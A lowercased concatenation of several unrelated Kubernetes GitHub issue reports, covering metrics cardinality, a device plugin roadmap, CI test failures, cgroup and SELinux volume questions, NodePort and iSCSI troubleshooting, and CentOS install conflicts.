reflector_storage_cacher_go:_secrets_2279_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1250056\r reflector_storage_cacher_go:_securitycontextconstraints_2253_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_storage_cacher_go:_serviceaccounts_2280_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ }\r \r \r reflector_github_com_openshift_origin_vendor_k8s_io_kubernetes_pkg_kubelet_kubelet_go:396_11609_last_resource_version{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-8\ ,beta_kubernetes_io_os=\ linux\ ,failure_domain_beta_kubernetes_io_region=\ us-central1\ ,failure_domain_beta_kubernetes_io_zone=\ us-central1-a\ ,instance=\ origin-ci-ig-n-kkhm\ ,job=\ kubernetes-nodes\ ,kubernetes_io_hostname=\ origin-ci-ig-n-kkhm\ ,role=\ app\ } | 1250064\r reflector_github_com_openshift_origin_vendor_k8s_io_kubernetes_pkg_kubelet_kubelet_go:396_6999_last_resource_version{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-2\ ,beta_kubernetes_io_os=\ linux\ ,failure_domain_beta_kubernetes_io_region=\ us-central1\ ,failure_domain_beta_kubernetes_io_zone=\ us-central1-a\ ,instance=\ origin-ci-ig-m-11v4\ ,job=\ kubernetes-nodes\ ,kubernetes_io_hostname=\ origin-ci-ig-m-11v4\ ,role=\ infra\ ,subrole=\ master\ } | 1250064\r reflector_github_com_openshift_origin_vendor_k8s_io_kubernetes_pkg_kubelet_kubelet_go:396_9871_last_resource_version{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-8\ ,beta_kubernetes_io_os=\ linux\ ,failure_domain_beta_kubernetes_io_region=\ us-central1\ ,failure_domain_beta_kubernetes_io_zone=\ us-central1-a\ ,instance=\ origin-ci-ig-n-kwtq\ ,job=\ kubernetes-nodes\ ,kubernetes_io_hostname=\ origin-ci-ig-n-kwtq\ ,role=\ app\ } | 1250064\r reflector_github_com_openshift_origin_vendor_k8s_io_kubernetes_pkg_kubelet_kubelet_go:404_11610_last_resource_version{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-8\ ,beta_kubernetes_io_os=\ linux\ ,failure_domain_beta_kubernetes_io_region=\ us-central1\ ,failure_domain_beta_kubernetes_io_zone=\ us-central1-a\ ,instance=\ origin-ci-ig-n-kkhm\ ,job=\ kubernetes-nodes\ ,kubernetes_io_hostname=\ origin-ci-ig-n-kkhm\ ,role=\ app\ } | 1313098\r reflector_github_com_openshift_origin_vendor_k8s_io_kubernetes_pkg_kubelet_kubelet_go:404_7000_last_resource_version{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-2\ ,beta_kubernetes_io_os=\ linux\ ,failure_domain_beta_kubernetes_io_region=\ us-central1\ ,failure_domain_beta_kubernetes_io_zone=\ us-central1-a\ ,instance=\ origin-ci-ig-m-11v4\ ,job=\ kubernetes-nodes\ ,kubernetes_io_hostname=\ origin-ci-ig-m-11v4\ ,role=\ infra\ ,subrole=\ master\ }\r \r \r \r \r reflector_github_com_openshift_origin_pkg_build_generated_informers_internalversion_factory_go:45_664_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1131114\r reflector_github_com_openshift_origin_pkg_build_generated_informers_internalversion_factory_go:45_671_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1131132\r reflector_github_com_openshift_origin_pkg_deploy_generated_informers_internalversion_factory_go:45_662_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1250168\r reflector_github_com_openshift_origin_pkg_image_generated_informers_internalversion_factory_go:45_2331_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1131058\r reflector_github_com_openshift_origin_pkg_image_generated_informers_internalversion_factory_go:45_672_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1131058\r reflector_github_com_openshift_origin_pkg_quota_generated_informers_internalversion_factory_go:45_2332_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_github_com_openshift_origin_pkg_quota_generated_informers_internalversion_factory_go:45_673_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1124352\r reflector_github_com_openshift_origin_pkg_sdn_plugin_common_go:173_11611_last_resource_version{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-8\ ,beta_kubernetes_io_os=\ linux\ ,failure_domain_beta_kubernetes_io_region=\ us-central1\ ,failure_domain_beta_kubernetes_io_zone=\ us-central1-a\ ,instance=\ origin-ci-ig-n-kkhm\ ,job=\ kubernetes-nodes\ ,kubernetes_io_hostname=\ origin-ci-ig-n-kkhm\ ,role=\ app\ } | 1124352\r reflector_github_com_openshift_origin_pkg_sdn_plugin_common_go:173_634_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1124352\r reflector_github_com_openshift_origin_pkg_sdn_plugin_common_go:173_7001_last_resource_version{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-2\ ,beta_kubernetes_io_os=\ linux\ ,failure_domain_beta_kubernetes_io_region=\ us-central1\ ,failure_domain_beta_kubernetes_io_zone=\ us-central1-a\ ,instance=\ origin-ci-ig-m-11v4\ ,job=\ kubernetes-nodes\ ,kubernetes_io_hostname=\ origin-ci-ig-m-11v4\ ,role=\ infra\ ,subrole=\ master\ } | 1124352\r reflector_github_com_openshift_origin_pkg_sdn_plugin_common_go:173_9873_last_resource_version{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_instance_type=\ n1-standard-8\ ,beta_kubernetes_io_os=\ linux\ ,failure_domain_beta_kubernetes_io_region=\ us-central1\ ,failure_domain_beta_kubernetes_io_zone=\ us-central1-a\ ,instance=\ origin-ci-ig-n-kwtq\ ,job=\ kubernetes-nodes\ ,kubernetes_io_hostname=\ origin-ci-ig-n-kwtq\ ,role=\ app\ } | 1124352\r reflector_github_com_openshift_origin_pkg_security_generated_informers_internalversion_factory_go:45_2333_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_github_com_openshift_origin_pkg_security_generated_informers_internalversion_factory_go:45_674_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1124352\r reflector_github_com_openshift_origin_pkg_serviceaccounts_controllers_docker_registry_service_go:123_633_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1250064\r reflector_github_com_openshift_origin_pkg_template_generated_informers_internalversion_factory_go:45_635_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1124352\r reflector_github_com_openshift_origin_pkg_template_generated_informers_internalversion_factory_go:45_675_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1124352\r reflector_github_com_openshift_origin_pkg_template_generated_informers_internalversion_factory_go:45_676_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1124352\r reflector_github_com_openshift_origin_pkg_unidling_controller_unidling_controller_go:195_677_last_resource_version{instance=\ 10.128.0.2:8444\ ,job=\ kubernetes-controllers\ } | 1311851\r reflector_github_com_openshift_origin_pkg_user_generated_informers_internalversion_factory_go:45_2334_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_github_com_openshift_origin_vendor_k8s_io_apiextensions_apiserver_pkg_client_informers_internalversion_factory_go:61_2314_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1124352\r reflector_github_com_openshift_origin_vendor_k8s_io_client_go_informers_factory_go:72_2313_last_resource_version{instance=\ 10.128.0.2:8443\ ,job=\ kubernetes-apiservers\ } | 1313170\r    \r \r this is a small cluster but i believe this may have unbounded cardinality.

this issue is meant to track planned work items for device plugins across releases.\r device plugins enable compute resource extensibility at the node level.\r \r this is   not finalized yet  . this issue will be updated once the community agrees to this schedule\r \r    v1.9\r     - avoid passing env vars, mounts and devices per device per allocation. pr  53031 for background    owner  : @vishh \r     - stub e2e device plugin to build conformance testing for device plugin infra in oss.    owner   tbd \r     - test device plugin integration with stub e2e in scale and soak test suites  simulates production scenarios     owner   tbd \r     - finalize an internal software architecture for device plugin support in kubelet to improve reliability, testability and readability    owner  : @jiayingz  \r     - remove feature gate for device plugins - device plugins will not reach beta at-least until we have 4 implementations that inform the design of the api. until then there are no guarantees against api compatibility    owner   tbd \r     - develop a device plugin user guide that provide production rollout guidelines as well    owner   tbd \r     - start code refactoring    owner   tbd \r     - post a short overview for supporting solarflare nics with device plugins    owner  : @vikaschoudhary16 \r     - add pod spec to allocate rpc    owner  : @vikaschoudhary16  \r \r    v1.10\r     - complete code refactoring    owner   tbd \r     - explore support for infiniband    owner   tbd \r     - propose design for topology support in device plugins    owner   tbd \r     - propose design for supporting extended resources via quota, limit range, and ui    owner   @vishh   \r \r cc @jiayingz @renaudwastaken @jeremyeder @vikaschoudhary16 @connordoyle @derekwaynecarr @mindprince @cmluciano \r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-scalability-bugs \r / umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/9976 failed with:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:197\r creating { replicationcontroller} load-medium-22\r expected error:\r     < errors.errorstring | 0xc4263905b0>: {\r         s: \ error creating replication controller: post https://35.184.49.161/api/v1/namespaces/e2e-tests-load-30-nodepods-1-d5xtz/replicationcontrollers: net/http: tls handshake timeout\ ,\r     }\r     error creating replication controller: post https://35.184.49.161/api/v1/namespaces/e2e-tests-load-30-nodepods-1-d5xtz/replicationcontrollers: net/http: tls handshake timeout\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/load.go:601\r    \r \r   what you expected to happen  :\r \r - this kind of error should probably be retried  problem similar to https://github.com/kubernetes/kubernetes/issues/55860 \r - tls hanshake issues are usually a sign of cpu starvation on the api server. interestingly  the collected metrics  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/9976/artifacts/resourceusagesummary_load_2018-01-15t19:29:49z.json  show cpu usage of 0.68 core which is close to historical minimum for this job, according to http://perf-dash.k8s.io/\r \r

make test  is failing on  k8s.io/kubernetes/pkg/kubectl/cmd  with go1.9.4, whereas the same package passes under bazel test.\r \r  go test  shows failures like\r    \r --- fail: testpodandcontainerattach  0.05s \r         attach_test.go:169: no container, no flags: unexpected error: no auth provider found for name \ gcp\ \r         attach_test.go:169: container in flag: unexpected error: no auth provider found for name \ gcp\ \r         attach_test.go:169: init container in flag: unexpected error: no auth provider found for name \ gcp\ \r         attach_test.go:169: no container, no flags, pods and name: unexpected error: no auth provider found for name \ gcp\ \r         attach_test.go:169: no container, no flags, pod/name: unexpected error: no auth provider found for name \ gcp\ \r --- fail: testattach  0.00s \r         attach_test.go:267: no auth provider found for name \ gcp\ \r --- fail: testattachwarnings  0.00s \r         attach_test.go:355: no auth provider found for name \ gcp\ \r pod \ pod0\  deleted\r pod \ pod1\  deleted\r pod \ pod2\  deleted\r pod \ pod3\  deleted\r pod \ pod4\  deleted\r pod \ pod5\  deleted\r pod \ pod6\  deleted\r pod \ pod7\  deleted\r --- fail: testportforward  0.00s \r         portforward_test.go:124: pod portforward: unexpected error: no auth provider found for name \ gcp\ \r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r         panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x38 pc=0x15ae03c \r \r goroutine 351  running :\r testing.trunner.func1 0xc4209361e0 \r          $home /.gvm/gos/go1.9.4/src/testing/testing.go:711 +0x2d2\r panic 0x17e1a20, 0x278b6e0 \r          $home /.gvm/gos/go1.9.4/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/pkg/kubectl/cmd.testportforward 0xc4209361e0, 0x0, 0xc420c41590, 0x3, 0x3 \r          $home /code/kubernetes/src/k8s.io/kubernetes/pkg/kubectl/cmd/portforward_test.go:130 +0xcdc\r k8s.io/kubernetes/pkg/kubectl/cmd.testportforward 0xc4209361e0 \r          $home /code/kubernetes/src/k8s.io/kubernetes/pkg/kubectl/cmd/portforward_test.go:140 +0x94\r testing.trunner 0xc4209361e0, 0x1a89958 \r          $home /.gvm/gos/go1.9.4/src/testing/testing.go:746 +0xd0\r created by testing.  t .run\r          $home /.gvm/gos/go1.9.4/src/testing/testing.go:789 +0x2de\r fail    k8s.io/kubernetes/pkg/kubectl/cmd       16.572s\r    \r \r i dug into this a bit, and i think it started failing about two weeks ago, after https://github.com/kubernetes/kubernetes/pull/60218. since ci only runs bazel test now, we didn't notice the non-bazel go test failures.\r \r it looks like the refactoring depends on init   effects from  k8s.io/client-go/plugin/pkg/client/auth ; if i add\r    golang\r import _ \ k8s.io/client-go/plugin/pkg/client/auth\ \r    \r to  pkg/kubectl/cmd/attach_test.go , then the test passes under  go test .\r \r i'm not sure what bazel's go rules are doing such that this effect is occurring without this explicit import. still investigating...\r \r  cc @jayconrod if you have any insight \r \r 

i raised this issue to discuss about cgroup .\r the cgroup hierarchies at the host is:\r \r    \r /sys/fs/cgroup/cpu/\r            ├─kubepods.slice\r            │ ├─kubepods-pod10231429_28f6_11e8_8903_74dbd1a06fe0.slice\r            │ │ ├─docker-32cc26191dad2120ae02fbe32e3cb962c291591439f28765da6c2b8dd28d7e48.scope\r            │ │ │ ├─16766 /bin/bash /run.sh\r            │ │ └─docker-fb19d77e2b760d38cfc6596aa0b55b34f3b0bd8e8973ce1f187c5eef97e98b60.scope\r            │ │   └─16147 /pause\r            │ ├─kubepods-besteffort.slice\r            │ │ ├─kubepods-besteffort-pod0bacf352_28f6_11e8_8903_74dbd1a06fe0.slice\r            │ │ │ ├─docker-edb3f1a77efffb09d7ad8d71bddf600f47fca2500557df2fc60815ad343c6260.scope\r            │ │ │ │ ├─19116 tini -- /usr/local/bin/volume-permissions.sh\r            │ │ │ └─docker-d28c9c99c0ad7e1a3cf3ad9e09f17d51bdfb86da06e71f5f00d813a068eb0445.scope\r            │ │ │   └─16429 /pause\r            │ └─kubepods-burstable.slice\r            │   └─kubepods-burstable-pod2ac279fe_28fa_11e8_8904_74dbd1a06fe0.slice\r            │     ├─docker-0eb2fce3f5e17f6373209d72560673456a6426bc584ff03d76c7802270bbe122.scope\r            │     │ └─15474 sleep 1000000\r            │     └─docker-fdef805249b8a6670b3b683d596c276743043e526621aa63b2839cee4984345c.scope\r            │       └─14445 /pause\r    \r   \r we can see the burstable and best-effort container is  put at depth=5 cgroup and guaranteed container is  put  at depth=4 cgroup.\r \r i had a test when i put containers at depth=3 by set  --cgroups-per-qos=false . it seems there are performance impacted. \r so i think lots of people may encounter performance issue, and if there is any docs about how the cgroup impact the performance and the test result.\r \r do we had some evaluation why pod container into depth=4 or depth=5 cgroup?  how many performance will be impacted? \r @derekwaynecarr @vishh \r can you share more infos about this  , thanks\r

users of linux distributions with selinux in enforcing mode will likely need to have kubernetes set the appropriate selinux label on any volumes created, at least for emptydir volumes  directories created on the host system that are then bind mounted into the docker container . i believe we are currently using  svirt_sandbox_file_t  but we may want to make the label configurable.  for my particular use case, i was trying to run the docker registry container inside a pod, and i wanted to specify a volume for storing the registry's persistent data  docker images . the registry isn't allowed to write to the volume because selinux denies it. here's an example denial:      type=syscall msg=audit 1406642880.633:277689 : arch=c000003e syscall=83 success=no exit=-13 a0=1192350 a1=1ff a2=0 a3=7fff485ffbf0 items=0 ppid=7433 pid=11170 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty= none  ses=4294967295 comm=\ gunicorn\  exe=\ /usr/bin/python2.7\  subj=system_u:system_r:svirt_lxc_net_t:s0:c251,c327 key= null  type=avc msg=audit 1406642880.633:277689 : avc:  denied  { write } for  pid=11170 comm=\ gunicorn\  name=\ data\  dev=\ dm-0\  ino=2506756 scontext=system_u:system_r:svirt_lxc_net_t:s0:c251,c327 tcontext=system_u:object_r:root_t:s0 tclass=dir      /cc @rhatdan @smarterclayton

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    kubeadm-gce-master  https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-master \r    kubeadm-gce-stable-on-master  https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-stable-on-master \r    kubeadm-gce-1.12-on-1.13  https://testgrid.k8s.io/sig-release-1.13-blocking kubeadm-gce-1.12-on-1.13 \r    kubeadm-gce-1.13  https://testgrid.k8s.io/sig-release-1.13-blocking kubeadm-gce-1.13 \r \r   which test s  are failing  :\r  up  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-master/778 \r \r   since when has it been failing  :\r around 3:30 11/9.  relevant k/k changes  https://github.com/kubernetes/kubernetes/compare/c3d05c816...f49464e84? . we did a fast forward from master to 1.13 branch around 5pm 11/9 and the breakage seem to have been carried over to  1.13 as well  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce-1-12-on-1-13/6 \r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-blocking kubeadm-gce-master\r   https://testgrid.k8s.io/sig-release-1.13-blocking kubeadm-gce-1.12-on-1.13\r \r   reason for failure  :\r   relevant k/k changes  https://github.com/kubernetes/kubernetes/compare/c3d05c816...f49464e84? \r \r   /assign @luxas @neolit123 \r /cc @timothysc @jberkus @mariantalla @mortent \r /milestone v1.13\r /

i couldn't help but wonder whether this error that i'm seeing locally is related to  6954 . i've just rebased against upstream head.  --- fail: testreadconfigdata  15.25s  helpers_test.go:246: unexpected non-error for http://some.non.existent.foobar fail fail github.com/googlecloudplatform/kubernetes/pkg/kubectl/cmd/util 15.333s  i'll debug further in the morning.

what happened  :\r \r https://github.com/kubernetes/kubernetes/pull/67205 started publishing crd openapi schemas.\r \r   what you expected to happen  :\r \r  kubectl explain  and  kubectl create  would make use of the schema information\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a crd with a schema:  kubectl create -f staging/src/k8s.io/csi-api/pkg/crd/manifests/csinodeinfo.yaml \r 2. try to explain the resource:  kubectl explain csinodeinfo \r 3. try to create the resource with invalid fields:  echo '{\ kind\ :\ csinodeinfo\ ,\ apiversion\ :\ csi.storage.k8s.io/v1alpha1\ ,\ metadata\ :{\ name\ :\ foo\ },\ spec\ :{\ foo\ :true}}'   | kubectl create -f - \r \r kubectl does not successfully discover the schema info\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign sttts roycaihw\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  sig-release-master-blocking node-kubelet-master  https://testgrid.k8s.io/sig-release-master-blocking node-kubelet-master \r \r   which test s  are failing  :\r  overall  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/18864 \r \r   since when has it been failing  :\r 2019-01-27,  build 18864  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/18864 \r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking node-kubelet-master\r \r   reason for failure  :\r _seems_ to be a gce issue:\r    \r error deleting instance \ tmp-node-e2e-84d68f0c-cos-stable-63-10032-71-0\ : googleapi: error 404: the resource 'projects/k8s-jkns-ci-node-e2e/zones/us-central1-f/instances/tmp-node-e2e-84d68f0c-cos-stable-63-10032-71-0' was not found, notfound\r    \r \r   anything else we need to know  \r similar failures at:\r -  sig-release-master-blocking gce-cos-master-reboot  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-reboot \r -  sig-release-master-blocking gce-cos-master-alpha-features  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-alpha-features \r \r /cc @kubernetes/sig-node-bugs - fyi\r \r @kubernetes/sig-gcp-bugs \r \r 

when we install elasticsearch, we currently use a hostvolume.  this means that es will eventually fill the disk on that node and likely take the node down.  we should instead ship es with petsets backed by pvs, so this cannot happen.  cc @ajohnstone

bug report  :\r \r   kubernetes version  : 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os  : debian 8\r -   kernel  : linux ip-172-31-20-110 3.16.0-4-amd64 smp debian 3.16.39-1  2016-12-30  x86_64 gnu/linux\r -   docker  : 1.13\r \r   what happened  :\r i have single node cluster on aws. i created k8s service with a published port 31250 and replication controller. but the service doesn't available out of the host machine.\r \r   what you expected to happen  :\r \r the service should be available via 31250 port.\r \r   how to reproduce it  :\r \r download and install schema.\r \r    \r wget https://gist.githubusercontent.com/pavelprischepa/8638f678c7fe8ed643ec99983bfb7de7/raw/1190981f2395cd142f5874693648a40aafcfe9bc/schema.yml schema.yml\r kubectl create -f schema.yml\r    \r \r try to access new service:\r  curl https://<node ip>:31250 \r \r the result should be  http 200 ok .\r \r some debug info from the k8s node:\r \r    \r   iptables -l -n -t nat | grep 31250\r kube-mark-masq  tcp  --  0.0.0.0/0            0.0.0.0/0            /  default/web:  / tcp dpt:31250\r kube-svc-bijgbsd4rzcczx5r  tcp  --  0.0.0.0/0            0.0.0.0/0            /  default/web:  / tcp dpt:31250\r    \r \r    \r   netstat -plunt | grep 31250\r tcp6       0      0 :::31250                :::                     listen      534/hyperkube\r    \r \r    \r   nmap -p 31250 <k8s node public ip>\r port      state    service\r 31250/tcp filtered unknown

i created a iscsi target and initiator. i have the minikube installed on the same machine which has initiator. when i try to create a pod the container is forever in containercreating state. the below is the pod description.\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   48m\t\t48m\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\tsuccessfully assigned iscsipd to minikube\r \r   48m\t\t43s\t\t32\t{kubelet minikube}\t\t\twarning\t\tfailedmount\tmountvolume.setup failed for volume \ kubernetes.io/iscsi/7cc1a7a1-e846-11e6-a16d-d675df4ae540-iscsipd-ro\   spec.name: \ iscsipd-ro\   pod \ 7cc1a7a1-e846-11e6-a16d-d675df4ae540\   uid: \ 7cc1a7a1-e846-11e6-a16d-d675df4ae540\   with: executable file not found in $path\r \r   46m\t\t10s\t\t22\t{kubelet minikube}\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ iscsipd_default 7cc1a7a1-e846-11e6-a16d-d675df4ae540 \ : timeout expired waiting for volumes to attach/mount for pod \ iscsipd\ /\ default\ . list of unattached/unmounted volumes= iscsipd-ro \r \r   46m\t\t10s\t\t22\t{kubelet minikube}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ iscsipd\ /\ default\ . list of unattached/unmounted volumes= iscsipd-ro \r

update podspec on eviction   2 of initial request. \r \r   kubernetes version    use  kubectl version  :\r master \r \r   environment  :\r  \r \r   what happened  :\r - people are terrible at specifying their resource requests, and can bounce too often\r \r   what you expected to happen  :\r - request   2 or some expr evaluation on bounce.\r \r   how to reproduce it    as minimally and precisely as possible :\r submit a small request that bounces b/c it's request was too low and it just tried to gobble memory. \r \r   anything else we need to know  :\r we did a more sophisticated thing in grids years ago, which we labeled as \ hunting\  \r \r /cc @kubernetes/sig-node-feature-requests @jayunit100 \r

reasons to do so:\r - consistency with kubernetes production code  easier for devs to manage \r - robustness  bash isn't exactly known for being a robust production language \r - reduced base image  less cve management overhead \r - can be built with release branch code  avoid out of date kubectl problems: https://github.com/kubernetes/kubernetes/issues/34943, https://github.com/kubernetes/kubernetes/issues/41817 \r \r this should be a pretty straightforward implementation with the  client-go  https://github.com/kubernetes/client-go  library.\r \r /cc @ixdy @kubernetes/sig-cluster-lifecycle-feature-requests

i can't install kubernetes in centos following this installation guide  link .\r \r 1: flannel and docker service can't start after default installation by default above installation will install docker 1.12, but flannel and docker service can't start. ● flanneld.service - flanneld overlay address etcd agent loaded: loaded  /usr/lib/systemd/system/flanneld.service; enabled; vendor preset: disabled  active: activating  start  since mon 2017-03-20 11:24:45 edt; 27s ago main pid: 31572  flanneld  cgroup: /system.slice/flanneld.service └─31572 /usr/bin/flanneld -etcd-endpoints=http://127.0.0.1:2379 -etcd-prefix=/atomic.io/network\r \r mar 20 11:25:00 jackkubenode1 flanneld-start 31572 : e0320 11:25:00.259468 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:01 jackkubenode1 flanneld-start 31572 : e0320 11:25:01.265559 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:02 jackkubenode1 flanneld-start 31572 : e0320 11:25:02.592586 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:03 jackkubenode1 flanneld-start 31572 : e0320 11:25:03.677965 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:04 jackkubenode1 flanneld-start 31572 : e0320 11:25:04.719815 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:05 jackkubenode1 flanneld-start 31572 : e0320 11:25:05.820301 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:09 jackkubenode1 flanneld-start 31572 : e0320 11:25:09.016167 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:10 jackkubenode1 flanneld-start 31572 : e0320 11:25:10.021494 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:11 jackkubenode1 flanneld-start 31572 : e0320 11:25:11.022784 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:12 jackkubenode1 flanneld-start 31572 : e0320 11:25:12.238389 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured mar 20 11:25:13 jackkubenode1 flanneld-start 31572 : e0320 11:25:13.513397 31572 network.go:102  failed to retrieve network config: client: etcd cluster is unavailable or misconfigured a dependency job for docker.service failed. see 'journalctl -xe' for details. created symlink from /etc/systemd/system/multi-user.target.wants/docker.service to /usr/lib/systemd/system/docker.service. ● docker.service - docker application container engine loaded: loaded  /usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled  drop-in: /usr/lib/systemd/system/docker.service.d └─flannel.conf active: inactive  dead  since mon 2017-03-20 11:25:16 edt; 1min 29s ago docs: http://docs.docker.com main pid: 30412  code=exited, status=0/success \r \r mar 20 11:18:32 jackkubenode1 dockerd-current 30412 : time=\ 2017-03-20t11:18:32.059329808-04:00\  level=info msg=\ daemon has completed initialization\  mar 20 11:18:32 jackkubenode1 dockerd-current 30412 : time=\ 2017-03-20t11:18:32.059499814-04:00\  level=info msg=\ docker daemon\  commit=\ 96d83a5/1.12.6\  graphdriver=devicemapper version=1.12.6 mar 20 11:18:33 jackkubenode1 dockerd-current 30412 : time=\ 2017-03-20t11:18:33.169919003-04:00\  level=info msg=\ api listen on /var/run/docker.sock\  mar 20 11:18:33 jackkubenode1 systemd1: started docker application container engine. mar 20 11:25:15 jackkubenode1 systemd1: stopping docker application container engine... mar 20 11:25:15 jackkubenode1 dockerd-current 30412 : time=\ 2017-03-20t11:25:15.912002109-04:00\  level=info msg=\ processing signal 'terminated'\  mar 20 11:25:16 jackkubenode1 dockerd-current 30412 : time=\ 2017-03-20t11:25:15.982882827-04:00\  level=info msg=\ stopping containerd after receiving terminated\  mar 20 11:25:16 jackkubenode1 dockerd-current 30412 : time=\ 2017-03-20t11:25:16.352579523-04:00\  level=error msg=\ libcontainerd: failed to receive event from containerd: rpc error: code = 13 desc = transport is closing\  mar 20 11:26:42 jackkubenode1 systemd1: dependency failed for docker application container engine. mar 20 11:26:42 jackkubenode1 systemd1: job docker.service/start failed with result 'dependency'.\r \r 2: it is said in link above issue is fixed in docker 1.13. so i manually install docker first then install kubernetes. but docker-ce-17.03 was installed, then there was conflicts between kubernetes and docker-ce-17.03 during kubernetes dependency resolves. how to work it around? processing conflict: docker-ce-17.03.0.ce-1.el7.centos.x86_64 conflicts docker\ -processing conflict: docker-ce-17.03.0.ce-1.el7.centos.x86_64 conflicts docker\ -processing conflict: docker-ce-17.03.0.ce-1.el7.centos.x86_64 conflicts docker-io processing conflict: docker-ce-17.03.0.ce-1.el7.centos.x86_64 conflicts docker-io processing conflict: docker-ce-selinux-17.03.0.ce-1.el7.centos.noarch conflicts docker-selinux processing conflict: docker-ce-selinux-17.03.0.ce-1.el7.centos.noarch conflicts docker-selinux\r \r 3: recently docker renamed docker-version as docker-ce-version, and looks like kubernetes doesn't accept new name docker-ce-version. here is a fix  link   https://github.com/kubernetes/kubernetes/pull/42425    to start kubernetes services with docker-ce. but any work around way to fix installation issue?\r \r

